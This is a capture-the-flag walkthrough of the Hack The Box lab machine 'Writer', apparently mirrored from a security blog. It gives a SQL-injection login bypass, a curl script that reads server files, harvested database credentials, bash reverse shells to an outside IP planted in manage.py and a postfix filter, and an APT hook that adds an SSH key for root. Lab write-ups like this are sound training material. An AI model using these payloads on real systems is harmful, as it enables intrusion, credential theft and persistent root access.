

Writer: Hack The Box Walkthrough
source link: https://hackso.me/writer-htb-walkthrough/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
Writer: Hack The Box Walkthrough
Bernie Lim
A security enthusiast. Likes cats.
This post documents the complete walkthrough of Writer, a retired vulnerable VM created by TheCyberGeek, and hosted at Hack The Box. If you are uncomfortable with spoilers, please stop reading now.
On this post
Background
Writer is a retired vulnerable VM from Hack The Box.
Information Gathering
Let’s start with a masscan
probe to establish the open ports in the host.
masscan -e tun0 -p1-65535,U:1-65535 10.10.11.101 --rate=500
Starting masscan 1.3.2 (http://bit.ly/14GZzcT) at 2021-08-02 01:32:00 GMT
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 80/tcp on 10.10.11.101
Discovered open port 22/tcp on 10.10.11.101
Discovered open port 139/tcp on 10.10.11.101
Discovered open port 445/tcp on 10.10.11.101
Discovered open port 137/udp on 10.10.11.101
Interesting list of open ports for a Linux machine. Let’s do one better with nmap
scanning the discovered ports to establish their services.
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 98:20:b9:d0:52:1f:4e:10:3a:4a:93:7e:50:bc:b8:7d (RSA)
| 256 10:04:79:7a:29:74:db:28:f9:ff:af:68:df:f1:3f:34 (ECDSA)
|_ 256 77:c4:86:9a:9f:33:4f:da:71:20:2c:e1:51:10:7e:8d (ED25519)
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET OPTIONS HEAD
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Story Bank | Writer.HTB
137/tcp closed netbios-ns reset ttl 63
139/tcp open netbios-ssn syn-ack ttl 63 Samba smbd 4.6.2
445/tcp open netbios-ssn syn-ack ttl 63 Samba smbd 4.6.2
...
Host script results:
| nbstat: NetBIOS name: WRITER, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| Names:
| WRITER<00> Flags: <unique><active>
| WRITER<03> Flags: <unique><active>
| WRITER<20> Flags: <unique><active>
| \x01\x02__MSBROWSE__\x02<01> Flags: <group><active>
| WORKGROUP<00> Flags: <group><active>
| WORKGROUP<1d> Flags: <unique><active>
|_ WORKGROUP<1e> Flags: <group><active>
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2021-08-02T02:09:53
|_ start_date: N/A
Since Samba is available, let’s see what we can glean from smbmap
.
No luck there. Let’s check out the http
service.
I’d better map 10.10.11.101
to writer.htb
in /etc/hosts
.
Directory/File Enumeration
Let’s see what gobuster
and SecLists give.
gobuster dir -w /usr/share/seclists/Discovery/Web-Content/raft-small-directories-lowercase.txt -t 20 -u http://writer.htb/
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://writer.htb/
[+] Method: GET
[+] Threads: 20
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/raft-small-directories-lowercase.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2021/08/02 03:55:42 Starting gobuster in directory enumeration mode
===============================================================
/contact (Status: 200) [Size: 4905]
/logout (Status: 302) [Size: 208] [--> http://writer.htb/]
/about (Status: 200) [Size: 3522]
/static (Status: 301) [Size: 309] [--> http://writer.htb/static/]
/dashboard (Status: 302) [Size: 208] [--> http://writer.htb/]
/server-status (Status: 403) [Size: 275]
/administrative (Status: 200) [Size: 1443]
===============================================================
2021/08/02 03:56:01 Finished
===============================================================
/administrative
sure looks interesting.
Bootstrap Simple Admin Template
The above turns out to be a Bootstrap template and we can easily bypass authentication with the usual SQLi payload like so.
And redirecting to /dashboard
…
Not that this is any useful to us, other than the ability to add our own stories.
Database Enumeration with sqlmap
The above did give me an idea to enumerate the database with sqlmap
.
sqlmap --data "uname=admin&password=password" --threads=10 -u http://writer.htb/administrative --batch --answer="redirect=N"
...
sqlmap identified the following injection point(s) with a total of 69 HTTP(s) requests:
---
Parameter: uname (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: uname=admin' AND (SELECT 1697 FROM (SELECT(SLEEP(5)))GwAR) AND 'wpLk'='wpLk&password=password
Type: UNION query
Title: Generic UNION query (NULL) - 6 columns
Payload: uname=admin' UNION ALL SELECT NULL,CONCAT(0x7170627871,0x66526d61644758456a6661656d464d467a79556c6254534b5a46696a794a537477486c5952644b48,0x7178787871),NULL,NULL,NULL,NULL-- -&password=password
---
[04:34:26] [INFO] the back-end DBMS is MySQL
got a 302 redirect to 'http://writer.htb/dashboard'. Do you want to follow? [Y/n] N
web server operating system: Linux Ubuntu 20.04 or 19.10 (focal or eoan)
web application technology: Apache 2.4.41
back-end DBMS: MySQL >= 5.0.12
[04:34:26] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/writer.htb'
[*] ending @ 04:34:26 /2021-08-02/
Looks like we have two techniques under our disposal. Let’s go with the UNION technique since it’s faster.
--technique=U --privileges
sqlmap --data "uname=admin&password=password" --threads=10 -u http://writer.htb/administrative --batch --answer="redirect=N" --technique=U --privileges
...
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: uname (POST)
Type: UNION query
Title: Generic UNION query (NULL) - 6 columns
Payload: uname=admin' UNION ALL SELECT NULL,CONCAT(0x7170627871,0x66526d61644758456a6661656d464d467a79556c6254534b5a46696a794a537477486c5952644b48,0x7178787871),NULL,NULL,NULL,NULL-- -&password=password
---
[04:37:26] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 20.04 or 19.10 (eoan or focal)
web application technology: Apache 2.4.41
back-end DBMS: MySQL >= 5.0.12
[04:37:26] [INFO] fetching database users privileges
database management system users privileges:
[*] 'admin'@'localhost' [1]:
privilege: FILE
[04:37:27] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/writer.htb'
[*] ending @ 04:37:27 /2021-08-02/
We are logged in as admin@localhost
and we have the FILE privilege, i.e. permission to read and write files on the server. Armed with this insight, I wrote the following shell script, driven largely by curl
, to read files where we have permission to do so. The only argument to the script is the path to the file you want to read.
#!/bin/bash
FILE=$1
PAYLOAD="' UNION ALL SELECT 1,LOAD_FILE('$FILE'),3,4,5,6-- -"
TEMP=$(mktemp -u)
curl -s \
--data-urlencode "uname=${PAYLOAD}" \
--data "password=password" \
-o $TEMP \
http://writer.htb/administrative
if ! grep -Eo 'Welcome None' < $TEMP &>/dev/null; then
cat $TEMP \
| sed -r '/Welcome/,/<\/h3>/!d' \
| sed -r -e '$d' -e 's/.*Welcome //' \
| recode html..ascii
fi
rm $TEMP
As usual, let’s read /etc/passwd
.
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:112:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
kyle:x:1000:1000:Kyle Travis:/home/kyle:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
postfix:x:113:118::/var/spool/postfix:/usr/sbin/nologin
filter:x:997:997:Postfix Filters:/var/spool/filter:/bin/sh
john:x:1001:1001:,,,:/home/john:/bin/bash
mysql:x:114:120:MySQL Server,,,:/nonexistent:/bin/false
kyle
and john
sure look interesting. Next up, we want to read the site configuration to see if there’s any deviation from the standard paths.
# Virtual host configuration for writer.htb domain
<VirtualHost *:80>
ServerName writer.htb
ServerAdmin [email protected]
WSGIScriptAlias / /var/www/writer.htb/writer.wsgi
<Directory /var/www/writer.htb>
Order allow,deny
Allow from all
</Directory>
Alias /static /var/www/writer.htb/writer/static
<Directory /var/www/writer.htb/writer/static/>
Order allow,deny
Allow from all
</Directory>
ErrorLog ${APACHE_LOG_DIR}/error.log
LogLevel warn
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>
# Virtual host configuration for dev.writer.htb subdomain
# Will enable configuration after completing backend development
# Listen 8080
#<VirtualHost 127.0.0.1:8080>
# ServerName dev.writer.htb
# ServerAdmin [email protected]
#
# Collect static for the writer2_project/writer_web/templates
# Alias /static /var/www/writer2_project/static
# <Directory /var/www/writer2_project/static>
# Require all granted
# </Directory>
#
# <Directory /var/www/writer2_project/writerv2>
# <Files wsgi.py>
# Require all granted
# </Files>
# </Directory>
#
# WSGIDaemonProcess writer2_project python-path=/var/www/writer2_project python-home=/var/www/writer2_project/writer2env
# WSGIProcessGroup writer2_project
# WSGIScriptAlias / /var/www/writer2_project/writerv2/wsgi.py
# ErrorLog ${APACHE_LOG_DIR}/error.log
# LogLevel warn
# CustomLog ${APACHE_LOG_DIR}/access.log combined
#
#</VirtualHost>
# vim: syntax=apache ts=4 sw=4 sts=4 sr noet
Let’s follow the trail…
#!/usr/bin/python
import sys
import logging
import random
import os
# Define logging
logging.basicConfig(stream=sys.stderr)
sys.path.insert(0,"/var/www/writer.htb/")
# Import the __init__.py from the app folder
from writer import app as application
application.secret_key = os.environ.get("SECRET_KEY", "")
from flask import Flask, session, redirect, url_for, request, render_template
from mysql.connector import errorcode
import mysql.connector
import urllib.request
import os
import PIL
from PIL import Image, UnidentifiedImageError
import hashlib
app = Flask(__name__,static_url_path='',static_folder='static',template_folder='templates')
#Define connection for database
def connections():
try:
connector = mysql.connector.connect(user='admin', password='ToughPasswordToCrack', host='127.0.0.1', database='writer')
return connector
except mysql.connector.Error as err:
if err.errno == errorcode.ER_ACCESS_DENIED_ERROR:
return ("Something is wrong with your db user name or password!")
elif err.errno == errorcode.ER_BAD_DB_ERROR:
return ("Database does not exist")
else:
return ("Another exception, returning!")
else:
print ('Connection to DB is ready!')
#Define homepage
@app.route('/')
def home_page():
try:
connector = connections()
except mysql.connector.Error as err:
return ("Database error")
cursor = connector.cursor()
sql_command = "SELECT * FROM stories;"
cursor.execute(sql_command)
results = cursor.fetchall()
return render_template('blog/blog.html', results=results)
#Define about page
@app.route('/about')
def about():
return render_template('blog/about.html')
#Define contact page
@app.route('/contact')
def contact():
return render_template('blog/contact.html')
#Define blog posts
@app.route('/blog/post/<id>', methods=['GET'])
def blog_post(id):
try:
connector = connections()
except mysql.connector.Error as err:
return ("Database error")
cursor = connector.cursor()
cursor.execute("SELECT * FROM stories WHERE id = %(id)s;", {'id': id})
results = cursor.fetchall()
sql_command = "SELECT * FROM stories;"
cursor.execute(sql_command)
stories = cursor.fetchall()
return render_template('blog/blog-single.html', results=results, stories=stories)
#Define dashboard for authenticated users
@app.route('/dashboard')
def dashboard():
if not ('user' in session):
return redirect('/')
return render_template('dashboard.html')
#Define stories page for dashboard and edit/delete pages
@app.route('/dashboard/stories')
def stories():
if not ('user' in session):
return redirect('/')
try:
connector = connections()
except mysql.connector.Error as err:
return ("Database error")
cursor = connector.cursor()
sql_command = "Select * From stories;"
cursor.execute(sql_command)
results = cursor.fetchall()
return render_template('stories.html', results=results)
@app.route('/dashboard/stories/add', methods=['GET', 'POST'])
def add_story():
if not ('user' in session):
return redirect('/')
try:
connector = connections()
except mysql.connector.Error as err:
return ("Database error")
if request.method == "POST":
if request.files['image']:
image = request.files['image']
if ".jpg" in image.filename:
path = os.path.join('/var/www/writer.htb/writer/static/img/', image.filename)
image.save(path)
image = "/img/{}".format(image.filename)
else:
error = "File extensions must be in .jpg!"
return render_template('add.html', error=error)
if request.form.get('image_url'):
image_url = request.form.get('image_url')
if ".jpg" in image_url:
try:
local_filename, headers = urllib.request.urlretrieve(image_url)
os.system("mv {} {}.jpg".format(local_filename, local_filename))
image = "{}.jpg".format(local_filename)
try:
im = Image.open(image)
im.verify()
im.close()
image = image.replace('/tmp/','')
os.system("mv /tmp/{} /var/www/writer.htb/writer/static/img/{}".format(image, image))
image = "/img/{}".format(image)
except PIL.UnidentifiedImageError:
os.system("rm {}".format(image))
error = "Not a valid image file!"
return render_template('add.html', error=error)
except:
error = "Issue uploading picture"
return render_template('add.html', error=error)
else:
error = "File extensions must be in .jpg!"
return render_template('add.html', error=error)
author = request.form.get('author')
title = request.form.get('title')
tagline = request.form.get('tagline')
content = request.form.get('content')
cursor = connector.cursor()
cursor.execute("INSERT INTO stories VALUES (NULL,%(author)s,%(title)s,%(tagline)s,%(content)s,'Published',now(),%(image)s);", {'author':author,'title': title,'tagline': tagline,'content': content, 'image':image })
result = connector.commit()
return redirect('/dashboard/stories')
else:
return render_template('add.html')
@app.route('/dashboard/stories/edit/<id>', methods=['GET', 'POST'])
def edit_story(id):
if not ('user' in session):
return redirect('/')
try:
connector = connections()
except mysql.connector.Error as err:
return ("Database error")
if request.method == "POST":
cursor = connector.cursor()
cursor.execute("SELECT * FROM stories where id = %(id)s;", {'id': id})
results = cursor.fetchall()
if request.files['image']:
image = request.files['image']
if ".jpg" in image.filename:
path = os.path.join('/var/www/writer.htb/writer/static/img/', image.filename)
image.save(path)
image = "/img/{}".format(image.filename)
cursor = connector.cursor()
cursor.execute("UPDATE stories SET image = %(image)s WHERE id = %(id)s", {'image':image, 'id':id})
result = connector.commit()
else:
error = "File extensions must be in .jpg!"
return render_template('edit.html', error=error, results=results, id=id)
if request.form.get('image_url'):
image_url = request.form.get('image_url')
if ".jpg" in image_url:
try:
local_filename, headers = urllib.request.urlretrieve(image_url)
os.system("mv {} {}.jpg".format(local_filename, local_filename))
image = "{}.jpg".format(local_filename)
try:
im = Image.open(image)
im.verify()
im.close()
image = image.replace('/tmp/','')
os.system("mv /tmp/{} /var/www/writer.htb/writer/static/img/{}".format(image, image))
image = "/img/{}".format(image)
cursor = connector.cursor()
cursor.execute("UPDATE stories SET image = %(image)s WHERE id = %(id)s", {'image':image, 'id':id})
result = connector.commit()
except PIL.UnidentifiedImageError:
os.system("rm {}".format(image))
error = "Not a valid image file!"
return render_template('edit.html', error=error, results=results, id=id)
except:
error = "Issue uploading picture"
return render_template('edit.html', error=error, results=results, id=id)
else:
error = "File extensions must be in .jpg!"
return render_template('edit.html', error=error, results=results, id=id)
title = request.form.get('title')
tagline = request.form.get('tagline')
content = request.form.get('content')
cursor = connector.cursor()
cursor.execute("UPDATE stories SET title = %(title)s, tagline = %(tagline)s, content = %(content)s WHERE id = %(id)s", {'title':title, 'tagline':tagline, 'content':content, 'id': id})
result = connector.commit()
return redirect('/dashboard/stories')
else:
cursor = connector.cursor()
cursor.execute("SELECT * FROM stories where id = %(id)s;", {'id': id})
results = cursor.fetchall()
return render_template('edit.html', results=results, id=id)
@app.route('/dashboard/stories/delete/<id>', methods=['GET', 'POST'])
def delete_story(id):
if not ('user' in session):
return redirect('/')
try:
connector = connections()
except mysql.connector.Error as err:
return ("Database error")
if request.method == "POST":
cursor = connector.cursor()
cursor.execute("DELETE FROM stories WHERE id = %(id)s;", {'id': id})
result = connector.commit()
return redirect('/dashboard/stories')
else:
cursor = connector.cursor()
cursor.execute("SELECT * FROM stories where id = %(id)s;", {'id': id})
results = cursor.fetchall()
return render_template('delete.html', results=results, id=id)
#Define user page for dashboard
@app.route('/dashboard/users')
def users():
if not ('user' in session):
return redirect('/')
try:
connector = connections()
except mysql.connector.Error as err:
return "Database Error"
cursor = connector.cursor()
sql_command = "SELECT * FROM users;"
cursor.execute(sql_command)
results = cursor.fetchall()
return render_template('users.html', results=results)
#Define settings page
@app.route('/dashboard/settings', methods=['GET'])
def settings():
if not ('user' in session):
return redirect('/')
try:
connector = connections()
except mysql.connector.Error as err:
return "Database Error!"
cursor = connector.cursor()
sql_command = "SELECT * FROM site WHERE id = 1"
cursor.execute(sql_command)
results = cursor.fetchall()
return render_template('settings.html', results=results)
#Define authentication mechanism
@app.route('/administrative', methods=['POST', 'GET'])
def login_page():
if ('user' in session):
return redirect('/dashboard')
if request.method == "POST":
username = request.form.get('uname')
password = request.form.get('password')
password = hashlib.md5(password.encode('utf-8')).hexdigest()
try:
connector = connections()
except mysql.connector.Error as err:
return ("Database error")
try:
cursor = connector.cursor()
sql_command = "Select * From users Where username = '%s' And password = '%s'" % (username, password)
cursor.execute(sql_command)
results = cursor.fetchall()
for result in results:
print("Got result")
if result and len(result) != 0:
session['user'] = username
return render_template('success.html', results=results)
else:
error = "Incorrect credentials supplied"
return render_template('login.html', error=error)
except:
error = "Incorrect credentials supplied"
return render_template('login.html', error=error)
else:
return render_template('login.html')
@app.route("/logout")
def logout():
if not ('user' in session):
return redirect('/')
session.pop('user')
return redirect('/')
if __name__ == '__main__':
app.run("0.0.0.0")
Let’s see if the password ToughPasswordToCrack
is good for something.
Samba read/write to writer2_project
The password checks out for kyle
.
Armed with the password, we can read and write to writer2_project
.
If I have to guess, I would say that the writer2_project
share is mapped to /var/www/writer2_project
, first seen in Apache2 site’s configuration. Based on that assumption, the site dev.writer.htb
is accessible locally but not externally because the site’s configuration is commented off.
Foothold
It appears that dev.writer.htb
is running Django.
#!/usr/bin/env python
import os
import sys
if __name__ == "__main__":
os.environ.setdefault("DJANGO_SETTINGS_MODULE", "writerv2.settings")
try:
from django.core.management import execute_from_command_line
except ImportError:
# The above import may fail for some other reason. Ensure that the
# issue is really that Django is missing to avoid masking other
# exceptions on Python 2.
try:
import django
except ImportError:
raise ImportError(
"Couldn't import Django. Are you sure it's installed and "
"available on your PYTHONPATH environment variable? Did you "
"forget to activate a virtual environment?"
)
raise
execute_from_command_line(sys.argv)
Here’s a thought. What will happen if we upload manage.py
to writer2_project
with a modification to include a line that runs a reverse shell like so?
#!/usr/bin/env python
import os
import sys
if __name__ == "__main__":
os.system("bash -c 'bash -i >& /dev/tcp/10.10.16.125/1234 0>&1'") # reverse shell
os.environ.setdefault("DJANGO_SETTINGS_MODULE", "writerv2.settings")
try:
from django.core.management import execute_from_command_line
except ImportError:
# The above import may fail for some other reason. Ensure that the
# issue is really that Django is missing to avoid masking other
# exceptions on Python 2.
try:
import django
except ImportError:
raise ImportError(
"Couldn't import Django. Are you sure it's installed and "
"available on your PYTHONPATH environment variable? Did you "
"forget to activate a virtual environment?"
)
raise
execute_from_command_line(sys.argv)
Sweet.
From www-data
to kyle
I was following the trail of Django’s database configuration when I chanced upon this.
# Database
# https://docs.djangoproject.com/en/1.10/ref/settings/#databases
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.mysql',
'OPTIONS': {
'read_default_file': '/etc/mysql/my.cnf',
},
}
}
# The MariaDB configuration file
#
# The MariaDB/MySQL tools read configuration files in the following order:
# 1. "/etc/mysql/mariadb.cnf" (this file) to set global defaults,
# 2. "/etc/mysql/conf.d/*.cnf" to set global options.
# 3. "/etc/mysql/mariadb.conf.d/*.cnf" to set MariaDB-only options.
# 4. "~/.my.cnf" to set user-specific options.
#
# If the same option is defined multiple times, the last one will apply.
#
# One can use all long options that the program supports.
# Run program with --help to get a list of available options and with
# --print-defaults to see which it would actually understand and use.
#
# This group is read both both by the client and the server
# use it for options that affect everything
#
[client-server]
# Import all .cnf files from configuration directory
!includedir /etc/mysql/conf.d/
!includedir /etc/mysql/mariadb.conf.d/
[client]
database = dev
user = djangouser
password = DjangoSuperPassword
default-character-set = utf8
Armed with the credentials, let’s access the dev
database and see what we can extract.
Is that kyle
’s password hash? Let’s crack the Django hash with JtR and rockyou.txt
. Note that JtR has a very specific format for Django like so.
$django$*1*pbkdf2_sha256$260000$wJO3ztk0fOlcbssnS1wJPD$bbTyCB8dYWMGYlz4dSArozTY7wcZCS7DV6l5dpuXM4A=
Because PasswordAuthentication
is set to yes
in /etc/ssh/sshd_config
, we can log in to kyle
’s account with the password marcoantonio
.
The file user.txt
is in kyle
’s home directory.
Privilege Escalation
During enumeration of kyle
’s account, I notice a cron
job that runs every two minutes.
Following hot on the heels of /etc/postfix
are these two files.
#!/bin/sh
# Localize these.
INSPECT_DIR=/var/spool/filter
SENDMAIL=/usr/sbin/sendmail
# Get disclaimer addresses
DISCLAIMER_ADDRESSES=/etc/postfix/disclaimer_addresses
# Exit codes from <sysexits.h>
EX_TEMPFAIL=75
EX_UNAVAILABLE=69
# Clean up when done or when aborting.
trap "rm -f in.$$" 0 1 2 3 15
# Start processing.
cd $INSPECT_DIR || { echo $INSPECT_DIR does not exist; exit
$EX_TEMPFAIL; }
cat >in.$$ || { echo Cannot save mail to file; exit $EX_TEMPFAIL; }
# obtain From address
from_address=`grep -m 1 "From:" in.$$ | cut -d "<" -f 2 | cut -d ">" -f 1`
if [ `grep -wi ^${from_address}$ ${DISCLAIMER_ADDRESSES}` ]; then
/usr/bin/altermime --input=in.$$ \
--disclaimer=/etc/postfix/disclaimer.txt \
--disclaimer-html=/etc/postfix/disclaimer.txt \
--xheader="X-Copyrighted-Material: Please visit http://www.company.com/privacy.htm" || \
{ echo Message content rejected; exit $EX_UNAVAILABLE; }
fi
$SENDMAIL "$@" <in.$$
exit $?
smtp inet n - y - - smtpd -o content_filter=dfilt:
...
dfilt unix - n n - - pipe
flags=Rq user=john argv=/etc/postfix/disclaimer -f ${sender} -- ${recipient}
The shell script above adds a disclaimer from /etc/postfix/disclaimer.txt
to outgoing emails from email addresses in /etc/postfix/disclaimer_addresses
with the command altermime
. The script can be modified by member of the group filter
and guess what, kyle
is in the group filter
. Note that the script is executed as john
.
From kyle
to john
All I need to do is to sneak in a bash
reverse shell, and a SMTP client. I humbly suggest the following Python client.
import smtplib
host = 'localhost'
port = 25
sender = '[email protected]'
recipient = sender
message = """\
Subject: Test
Test"""
try:
server = smtplib.SMTP(host, port)
server.ehlo()
server.sendmail(sender, recipient, message)
except Exception as e:
print(e)
finally:
server.quit()
I’ll leave it as an exercise how to transfer the client over to the remote machine. Now, let’s pop that shell.
sed '3i\bash -c "bash -i &>/dev/tcp/10.10.16.125/4444 0>&1"' disclaimer > /etc/postfix/disclaimer && python3 sendmail.py
From john
to root
During enumeration of john
’s account, I notice john
’s SSH keys lying around so I did the natural thing: steal them to get a better shell. I also notice john
is a member of the group management
.
Member of the group management
has write permission to /etc/apt/apt.conf.d
.
APT Hooks
A cursory preview of /etc/apt/apt.conf.d/15update-stamp
seems to suggest the use of APT hooks to run shell commands.
The manual of apt.conf(5)
confirms my hypothesis.
Let’s do what I usually do—inject a SSH public key I control to /root/.ssh/authorized_keys
and call it a day.
echo 'APT::Update::Pre-Invoke {"echo ssh-ed25519 AAAAC...SqlmM >> /root/.ssh/authorized_keys"};' > /etc/apt/apt.conf.d/00update
Two minutes later when apt-get update
is ran, we’ll have a root
shell!
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK